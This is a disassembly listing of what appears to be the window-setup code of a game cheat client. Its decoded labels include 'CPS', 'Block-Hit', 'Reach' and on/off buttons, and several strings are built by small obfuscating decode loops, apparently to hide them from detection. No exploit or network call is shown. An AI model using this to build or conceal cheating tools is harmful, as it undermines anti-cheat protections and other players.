mov dword [ebp - 0x497c], 0
movups xmmword [ebp - 0x4968], xmm0
mov dword [ebp - 0x4958], 0x4c
mov dword [ebp - 0x4954], 0xb
mov dword [ebp - 0x4950], 0x7d
nop dword [eax + eax]
mov eax, 0x5c
sub eax, dword [ebp + ecx*4 - 0x4978]
imul eax, eax, 0x27
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4984], dl
inc ecx
cmp ecx, 0xb
jb 0x40aff0
lea ecx, [ebp - 0x4984]
mov dword [ebp - 0x4198], 0
mov byte [ebp - 0x4979], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4188], 0
mov dword [ebp - 0x4184], 0xf
mov byte [ebp - 0x4198], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b050
sub ecx, edx
lea eax, [ebp - 0x4984]
push ecx
push eax
lea ecx, [ebp - 0x4198]
call fcn.0040fa60
lea eax, [ebp - 0x4198]
mov dword [ebp - 4], 0x13
push eax
mov ecx, 0x42a9dc
call fcn.0040f120
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x4184]
cmp edx, 0x10
jb 0x40b0cf
mov ecx, dword [ebp - 0x4198]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b0c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425500]
lea ecx, [ebp - 0x4354]
mov dword [ebp - 0x41b0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4188], 0
mov dword [ebp - 0x4184], 0xf
mov byte [ebp - 0x4198], 0
movups xmmword [ebp - 0x434c], xmm0
mov dword [ebp - 0x433c], 0x3e
mov dword [ebp - 0x4354], 0x646e7768
mov word [ebp - 0x4350], 0x32
mov dword [ebp - 0x41a0], 0
mov dword [ebp - 0x419c], 0xf
mov byte [ebp - 0x41b0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b143
sub ecx, edx
lea eax, [ebp - 0x4354]
push ecx
push eax
lea ecx, [ebp - 0x41b0]
call fcn.0040fa60
lea eax, [ebp - 0x41b0]
mov dword [ebp - 4], 0x14
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425c00]
lea ecx, [ebp - 0x457c]
push 0x14
push 0xc8
push 0xd
push 0xb
push eax
sub esp, 0x18
mov dword [ebp - 0x457c], 0x3a535043
mov edx, esp
mov byte [ebp - 0x4578], 0
movups xmmword [ebp - 0x4574], xmm0
mov dword [ebp - 0x50cc], esp
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b1d0
sub ecx, edi
lea eax, [ebp - 0x457c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x4850]
movaps xmm0, xmmword [0x425cd0]
lea edi, [edx + 1]
movups xmmword [ebp - 0x4844], xmm0
sub esp, 0x18
mov dword [ebp - 0x4850], 0x6562616c
movaps xmm0, xmmword [0x425f40]
mov ecx, esp
movups xmmword [ebp - 0x4834], xmm0
mov dword [ebp - 0x484c], 0x7370636c
mov byte [ebp - 0x4848], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40b245
sub edx, edi
lea eax, [ebp - 0x4850]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x14
xor ecx, ecx
call fcn.00403a10
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x419c]
cmp edx, 0x10
jb 0x40b2ac
mov ecx, dword [ebp - 0x41b0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b2a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425760]
lea ecx, [ebp - 0x4338]
mov dword [ebp - 0x41c8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x41a0], 0
mov dword [ebp - 0x419c], 0xf
mov byte [ebp - 0x41b0], 0
movups xmmword [ebp - 0x4330], xmm0
mov dword [ebp - 0x4320], 0x19
mov dword [ebp - 0x4338], 0x646e7768
mov word [ebp - 0x4334], 0x32
mov dword [ebp - 0x41b8], 0
mov dword [ebp - 0x41b4], 0xf
mov byte [ebp - 0x41c8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b320
sub ecx, edx
lea eax, [ebp - 0x4338]
push ecx
push eax
lea ecx, [ebp - 0x41c8]
call fcn.0040fa60
lea eax, [ebp - 0x41c8]
mov dword [ebp - 4], 0x16
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x14
push 0xc8
push 0x2c
push 0xb
push eax
sub esp, 0x18
mov dword [ebp - 0x4044], 0x35
mov edx, esp
mov dword [ebp - 0x4040], 0x29
mov dword [ebp - 0x403c], 0x29
lea ecx, [ebp - 0x4048]
mov dword [ebp - 0x4048], 0x66664f
lea edi, [ecx + 1]
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b3b0
sub ecx, edi
lea eax, [ebp - 0x4048]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x4648]
movaps xmm0, xmmword [0x425600]
lea edi, [edx + 1]
movups xmmword [ebp - 0x463c], xmm0
sub esp, 0x18
mov dword [ebp - 0x461c], 0x79
movaps xmm0, xmmword [0x425a80]
mov ecx, esp
movups xmmword [ebp - 0x462c], xmm0
mov dword [ebp - 0x4618], 0x79
mov dword [ebp - 0x4648], 0x6562616c
mov dword [ebp - 0x4644], 0x6f6e6f6c
mov word [ebp - 0x4640], 0x6666
mov byte [ebp - 0x463e], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40b442
sub edx, edi
lea eax, [ebp - 0x4648]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x16
mov ecx, 0x6c
call fcn.00403a10
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x41b4]
cmp edx, 0x10
jb 0x40b4ac
mov ecx, dword [ebp - 0x41c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b4a2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425910]
lea ecx, [ebp - 0x431c]
mov dword [ebp - 0x41e0], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x41b8], 0
mov dword [ebp - 0x41b4], 0xf
mov byte [ebp - 0x41c8], 0
movups xmmword [ebp - 0x4314], xmm0
mov dword [ebp - 0x4304], 0x6f
mov dword [ebp - 0x431c], 0x646e7768
mov word [ebp - 0x4318], 0x32
mov dword [ebp - 0x41d0], 0
mov dword [ebp - 0x41cc], 0xf
mov byte [ebp - 0x41e0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b520
sub ecx, edx
lea eax, [ebp - 0x431c]
push ecx
push eax
lea ecx, [ebp - 0x41e0]
call fcn.0040fa60
lea eax, [ebp - 0x41e0]
mov dword [ebp - 4], 0x18
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x14
push 0x3b
push 0xa
push 0x26
push dword [eax]
mov dword [ebp - 0x4024], 0x39
lea ecx, [ebp - 0x4028]
sub esp, 0x18
mov dword [ebp - 0x4020], 0x2b
mov edx, esp
mov word [ebp - 0x4028], 0x3231
mov byte [ebp - 0x4026], 0
lea edi, [ecx + 1]
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b5b0
sub ecx, edi
lea eax, [ebp - 0x4028]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x427c]
movaps xmm0, xmmword [0x425570]
lea edi, [edx + 1]
sub esp, 0x18
mov dword [ebp - 0x4264], 0xf
mov ecx, esp
mov dword [ebp - 0x4260], 0x7c
movups xmmword [ebp - 0x4274], xmm0
mov dword [ebp - 0x425c], 0x47
mov dword [ebp - 0x427c], 0x74696465
mov dword [ebp - 0x4278], 0x737063
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x40b630
sub edx, edi
lea eax, [ebp - 0x427c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x18
mov ecx, 0x6d
call fcn.00403ca0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x41cc]
cmp edx, 0x10
jb 0x40b69a
mov ecx, dword [ebp - 0x41e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b690
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425cc0]
lea ecx, [ebp - 0x4300]
mov dword [ebp - 0x41f8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x41d0], 0
mov dword [ebp - 0x41cc], 0xf
mov byte [ebp - 0x41e0], 0
movups xmmword [ebp - 0x42f8], xmm0
mov dword [ebp - 0x42e8], 0x13
mov dword [ebp - 0x4300], 0x646e7768
mov word [ebp - 0x42fc], 0x32
mov dword [ebp - 0x41e8], 0
mov dword [ebp - 0x41e4], 0xf
mov byte [ebp - 0x41f8], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b710
sub ecx, edx
lea eax, [ebp - 0x4300]
push ecx
push eax
lea ecx, [ebp - 0x41f8]
call fcn.0040fa60
lea eax, [ebp - 0x41f8]
mov dword [ebp - 4], 0x1a
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x19
push 0x19
push 0x27
push 0x26
push dword [eax]
mov dword [ebp - 0x4018], 0x67
lea ecx, [ebp - 0x401c]
sub esp, 0x18
mov dword [ebp - 0x4014], 0x50
mov edx, esp
mov word [ebp - 0x401c], 0x6e4f
mov byte [ebp - 0x401a], 0
lea edi, [ecx + 1]
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b7a0
sub ecx, edi
lea eax, [ebp - 0x401c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0x479c]
movaps xmm0, xmmword [0x425c40]
lea edi, [edx + 1]
movups xmmword [ebp - 0x4790], xmm0
sub esp, 0x18
mov dword [ebp - 0x4770], 0x56
movaps xmm0, xmmword [0x4255a0]
mov ecx, esp
movups xmmword [ebp - 0x4780], xmm0
mov dword [ebp - 0x479c], 0x625f6e6f
mov dword [ebp - 0x4798], 0x6f747475
mov word [ebp - 0x4794], 0x6e
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40b821
sub edx, edi
lea eax, [ebp - 0x479c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x1a
mov ecx, 0x6e
call fcn.00403b60
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x41e4]
cmp edx, 0x10
jb 0x40b88b
mov ecx, dword [ebp - 0x41f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40b881
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425ce0]
lea ecx, [ebp - 0x44c0]
mov dword [ebp - 0x4210], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x41e8], 0
mov dword [ebp - 0x41e4], 0xf
mov byte [ebp - 0x41f8], 0
movups xmmword [ebp - 0x44b8], xmm0
mov dword [ebp - 0x44a8], 0x61
mov dword [ebp - 0x44c0], 0x646e7768
mov word [ebp - 0x44bc], 0x32
mov dword [ebp - 0x4200], 0
mov dword [ebp - 0x41fc], 0xf
mov byte [ebp - 0x4210], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b900
sub ecx, edx
lea eax, [ebp - 0x44c0]
push ecx
push eax
lea ecx, [ebp - 0x4210]
call fcn.0040fa60
lea eax, [ebp - 0x4210]
mov dword [ebp - 4], 0x1c
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0x19
push 0x19
push 0x27
push 0x48
push dword [eax]
mov dword [ebp - 0x4034], 0x71
lea ecx, [ebp - 0x4038]
sub esp, 0x18
mov dword [ebp - 0x4030], 0x77
mov edx, esp
mov dword [ebp - 0x402c], 0x77
mov dword [ebp - 0x4038], 0x66664f
lea edi, [ecx + 1]
mov dword [ebp - 0x50cc], esp
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b990
sub ecx, edi
lea eax, [ebp - 0x4038]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x4bfc]
xorps xmm0, xmm0
mov word [ebp - 0x4bf4], 0
movq qword [ebp - 0x4bfc], xmm0
movaps xmm0, xmmword [0x4258e0]
movups xmmword [ebp - 0x4bf0], xmm0
mov byte [ebp - 0x4bf2], 0
movaps xmm0, xmmword [0x4256d0]
movups xmmword [ebp - 0x4be0], xmm0
mov dword [ebp - 0x4bd0], 0x41
mov dword [ebp - 0x4bcc], 0x30
call fcn.0040ee10
mov edi, eax
sub esp, 0x18
mov ecx, esp
mov edx, edi
mov dword [ecx], 0
lea eax, [edx + 1]
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov dword [ebp - 0x50d0], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x40ba28
sub edx, dword [ebp - 0x50d0]
push edx
push edi
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x1c
mov ecx, 0x6f
call fcn.00403b60
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x41fc]
cmp edx, 0x10
jb 0x40ba90
mov ecx, dword [ebp - 0x4210]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ba86
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425fd0]
lea ecx, [ebp - 0x44a4]
mov dword [ebp - 0x4228], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4200], 0
mov dword [ebp - 0x41fc], 0xf
mov byte [ebp - 0x4210], 0
movups xmmword [ebp - 0x449c], xmm0
mov dword [ebp - 0x448c], 0x40
mov dword [ebp - 0x44a4], 0x646e7768
mov word [ebp - 0x44a0], 0x32
mov dword [ebp - 0x4218], 0
mov dword [ebp - 0x4214], 0xf
mov byte [ebp - 0x4228], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bb04
sub ecx, edx
lea eax, [ebp - 0x44a4]
push ecx
push eax
lea ecx, [ebp - 0x4228]
call fcn.0040fa60
lea eax, [ebp - 0x4228]
mov dword [ebp - 4], 0x1e
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
push 0xf
push 0x51
push 7
xorps xmm0, xmm0
xor ecx, ecx
push 0x69
push dword [eax]
movq qword [ebp - 0x494c], xmm0
movaps xmm0, xmmword [0x425820]
lea edi, [ecx + 0x7f]
movups xmmword [ebp - 0x4940], xmm0
mov dword [ebp - 0x4944], 0
movaps xmm0, xmmword [0x425870]
movups xmmword [ebp - 0x4930], xmm0
mov dword [ebp - 0x4920], 0x41
mov dword [ebp - 0x491c], 0x4c
mov dword [ebp - 0x4918], 0x35
nop word [eax + eax]
mov eax, 0x3f
sub eax, dword [ebp + ecx*4 - 0x4940]
imul eax, eax, 0xb
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x494c], dl
inc ecx
cmp ecx, 0xb
jb 0x40bba0
sub esp, 0x18
mov byte [ebp - 0x4941], 0
mov edx, esp
mov dword [ebp - 0x50cc], esp
lea ecx, [ebp - 0x494c]
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bbf4
sub ecx, edi
lea eax, [ebp - 0x494c]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x1f
xorps xmm0, xmm0
movups xmmword [ebp - 0x4bc8], xmm0
xor ecx, ecx
mov dword [ebp - 0x4b88], 0xd
movaps xmm0, xmmword [0x4254f0]
movups xmmword [ebp - 0x4bb8], xmm0
mov dword [ebp - 0x4b84], 0x7e
movaps xmm0, xmmword [0x4258a0]
lea edi, [ecx + 0x7f]
movups xmmword [ebp - 0x4ba8], xmm0
mov dword [ebp - 0x4b80], 0x37
movaps xmm0, xmmword [0x4257e0]
movups xmmword [ebp - 0x4b98], xmm0
nop word [eax + eax]
mov eax, 0x44
sub eax, dword [ebp + ecx*4 - 0x4bb8]
lea eax, [eax + eax*8]
add eax, eax
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4bc8], dl
inc ecx
cmp ecx, 0xf
jb 0x40bc70
sub esp, 0x18
mov byte [ebp - 0x4bb9], 0
mov ecx, esp
lea edx, [ebp - 0x4bc8]
lea edi, [edx + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40bcc0
sub edx, edi
lea eax, [ebp - 0x4bc8]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x1e
mov ecx, 0x70
call fcn.00403de0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x4214]
cmp edx, 0x10
jb 0x40bd2a
mov ecx, dword [ebp - 0x4228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bd20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425ca0]
lea ecx, [ebp - 0x454c]
mov dword [ebp - 0x4240], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4218], 0
mov dword [ebp - 0x4214], 0xf
mov byte [ebp - 0x4228], 0
movups xmmword [ebp - 0x4544], xmm0
mov dword [ebp - 0x4534], 0x7b
mov dword [ebp - 0x454c], 0x646e7768
mov word [ebp - 0x4548], 0x32
mov dword [ebp - 0x4230], 0
mov dword [ebp - 0x422c], 0xf
mov byte [ebp - 0x4240], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bda0
sub ecx, edx
lea eax, [ebp - 0x454c]
push ecx
push eax
lea ecx, [ebp - 0x4240]
call fcn.0040fa60
lea eax, [ebp - 0x4240]
mov dword [ebp - 4], 0x20
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x4256e0]
lea ecx, [ebp - 0x47cc]
push 0xf
push 0x51
push 0x18
push 0x69
push dword [eax]
movups xmmword [ebp - 0x47c0], xmm0
lea edi, [ecx + 1]
sub esp, 0x18
movaps xmm0, xmmword [0x425dc0]
mov edx, esp
movups xmmword [ebp - 0x47b0], xmm0
mov dword [ebp - 0x47a0], 0x75
mov dword [ebp - 0x47cc], 0x636f6c42
mov dword [ebp - 0x47c8], 0x69482d6b
mov word [ebp - 0x47c4], 0x74
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x50cc], esp
mov dword [edx + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40be50
sub ecx, edi
lea eax, [ebp - 0x47cc]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x21
xorps xmm0, xmm0
movq qword [ebp - 0x4ab8], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4254c0]
movups xmmword [ebp - 0x4aa8], xmm0
mov dword [ebp - 0x4ab0], 0
movaps xmm0, xmmword [0x425480]
lea edi, [ecx + 0x7f]
movups xmmword [ebp - 0x4a98], xmm0
mov word [ebp - 0x4aac], 0
movaps xmm0, xmmword [0x4254d0]
movups xmmword [ebp - 0x4a88], xmm0
mov dword [ebp - 0x4a78], 0x12
mov eax, dword [ebp + ecx*4 - 0x4aa8]
sub eax, 0x35
imul eax, eax, 0x37
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x4ab8], dl
inc ecx
cmp ecx, 0xd
jb 0x40bec3
sub esp, 0x18
mov byte [ebp - 0x4aab], 0
mov ecx, esp
lea edx, [ebp - 0x4ab8]
lea edi, [edx + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x40bf10
sub edx, edi
lea eax, [ebp - 0x4ab8]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x20
mov ecx, 0x71
call fcn.00403de0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x422c]
cmp edx, 0x10
jb 0x40bf7a
mov ecx, dword [ebp - 0x4240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40bf70
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x4259e0]
lea ecx, [ebp - 0x4530]
mov dword [ebp - 0x4060], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4230], 0
mov dword [ebp - 0x422c], 0xf
mov byte [ebp - 0x4240], 0
movups xmmword [ebp - 0x4528], xmm0
mov dword [ebp - 0x4518], 0x3a
mov dword [ebp - 0x4530], 0x646e7768
mov word [ebp - 0x452c], 0x32
mov dword [ebp - 0x4050], 0
mov dword [ebp - 0x404c], 0xf
mov byte [ebp - 0x4060], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bff0
sub ecx, edx
lea eax, [ebp - 0x4530]
push ecx
push eax
lea ecx, [ebp - 0x4060]
call fcn.0040fa60
lea eax, [ebp - 0x4060]
mov dword [ebp - 4], 0x22
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425e70]
lea ecx, [ebp - 0x42e4]
push 0xf
push 0x32
push 0x29
push 0x69
push dword [eax]
movups xmmword [ebp - 0x42dc], xmm0
sub esp, 0x18
mov dword [ebp - 0x42cc], 0x77
mov edx, esp
mov dword [ebp - 0x42c8], 0x50
mov dword [ebp - 0x42e4], 0x63616552
lea edi, [ecx + 1]
mov word [ebp - 0x42e0], 0x3a68
mov byte [ebp - 0x42de], 0
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [ebp - 0x50cc], esp
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c092
sub ecx, edi
lea eax, [ebp - 0x42e4]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0x467c]
movaps xmm0, xmmword [0x425e80]
lea edi, [edx + 1]
movups xmmword [ebp - 0x4670], xmm0
sub esp, 0x18
mov dword [ebp - 0x4650], 0x70
movaps xmm0, xmmword [0x425630]
mov ecx, esp
movups xmmword [ebp - 0x4660], xmm0
mov dword [ebp - 0x464c], 0x6d
mov dword [ebp - 0x467c], 0x63616572
mov dword [ebp - 0x4678], 0x65686368
mov word [ebp - 0x4674], 0x6b63
mov byte [ebp - 0x4672], 0
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [edx]
inc edx
test al, al
jne 0x40c124
sub edx, edi
lea eax, [ebp - 0x467c]
push edx
push eax
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x22
mov ecx, 0x72
call fcn.00403de0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x404c]
cmp edx, 0x10
jb 0x40c18e
mov ecx, dword [ebp - 0x4060]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c184
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425d60]
lea ecx, [ebp - 0x44f8]
mov dword [ebp - 0x4078], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4050], 0
mov dword [ebp - 0x404c], 0xf
mov byte [ebp - 0x4060], 0
movups xmmword [ebp - 0x44f0], xmm0
mov dword [ebp - 0x44e0], 0x5a
mov dword [ebp - 0x44f8], 0x646e7768
mov word [ebp - 0x44f4], 0x32
mov dword [ebp - 0x4068], 0
mov dword [ebp - 0x4064], 0xf
mov byte [ebp - 0x4078], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c202
sub ecx, edx
lea eax, [ebp - 0x44f8]
push ecx
push eax
lea ecx, [ebp - 0x4078]
call fcn.0040fa60
lea eax, [ebp - 0x4078]
mov dword [ebp - 4], 0x24
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
movaps xmm0, xmmword [0x425da0]
lea ecx, [ebp - 0x4564]
push 0x11
push 0x1b
push 0x29
push 0x9e
push dword [eax]
movups xmmword [ebp - 0x455c], xmm0
sub esp, 0x18
mov dword [ebp - 0x4564], 0x30302e33
mov edx, esp
mov byte [ebp - 0x4560], 0
mov dword [ebp - 0x50cc], esp
lea edi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c290
sub ecx, edi
lea eax, [ebp - 0x4564]
push ecx
push eax
mov ecx, edx
call fcn.0040fa60
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x4dc4]
xorps xmm0, xmm0
mov word [ebp - 0x4dbc], 0
movq qword [ebp - 0x4dc4], xmm0
movaps xmm0, xmmword [0x425ba0]
movups xmmword [ebp - 0x4db8], xmm0
mov dword [ebp - 0x4d98], 0x60
movaps xmm0, xmmword [0x425660]
movups xmmword [ebp - 0x4da8], xmm0
call fcn.0040ed10
mov edi, eax
sub esp, 0x18
mov ecx, esp
mov edx, edi
mov dword [ecx], 0
lea eax, [edx + 1]
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov dword [ebp - 0x50d0], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x40c317
sub edx, dword [ebp - 0x50d0]
push edx
push edi
call fcn.0040fa60
mov edx, esi
mov byte [ebp - 4], 0x24
mov ecx, 0x73
call fcn.00403ca0
mov dword [ebp - 4], 0xffffffff
add esp, 0x44
mov edx, dword [ebp - 0x4064]
cmp edx, 0x10
jb 0x40c37f
mov ecx, dword [ebp - 0x4078]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40c375
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40d433
push edx
push ecx
call fcn.00410d1a
add esp, 8
movaps xmm0, xmmword [0x425c70]
lea ecx, [ebp - 0x44dc]
mov dword [ebp - 0x40a8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4068], 0
mov dword [ebp - 0x4064], 0xf
mov byte [ebp - 0x4078], 0
movups xmmword [ebp - 0x44d4], xmm0
mov dword [ebp - 0x44c4], 0x18
mov dword [ebp - 0x44dc], 0x646e7768
mov word [ebp - 0x44d8], 0x32
mov dword [ebp - 0x4098], 0
mov dword [ebp - 0x4094], 0xf
mov byte [ebp - 0x40a8], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c3f3
sub ecx, edx
lea eax, [ebp - 0x44dc]
push ecx
push eax
lea ecx, [ebp - 0x40a8]
call fcn.0040fa60
lea eax, [ebp - 0x40a8]
mov dword [ebp - 4], 0x26
push eax
mov ecx, 0x42a9bc
call fcn.0040f120
xorps xmm0, xmm0
xor ecx, ecx
mov edi, dword [eax]
movq qword [ebp - 0x4afc], xmm0
movaps xmm0, xmmword [0x425c20]
movups xmmword [ebp - 0x4aec], xmm0
mov dword [ebp - 0x4af4], 0
movaps xmm0, xmmword [0x4255b0]
movups xmmword [ebp - 0x4adc], xmm0
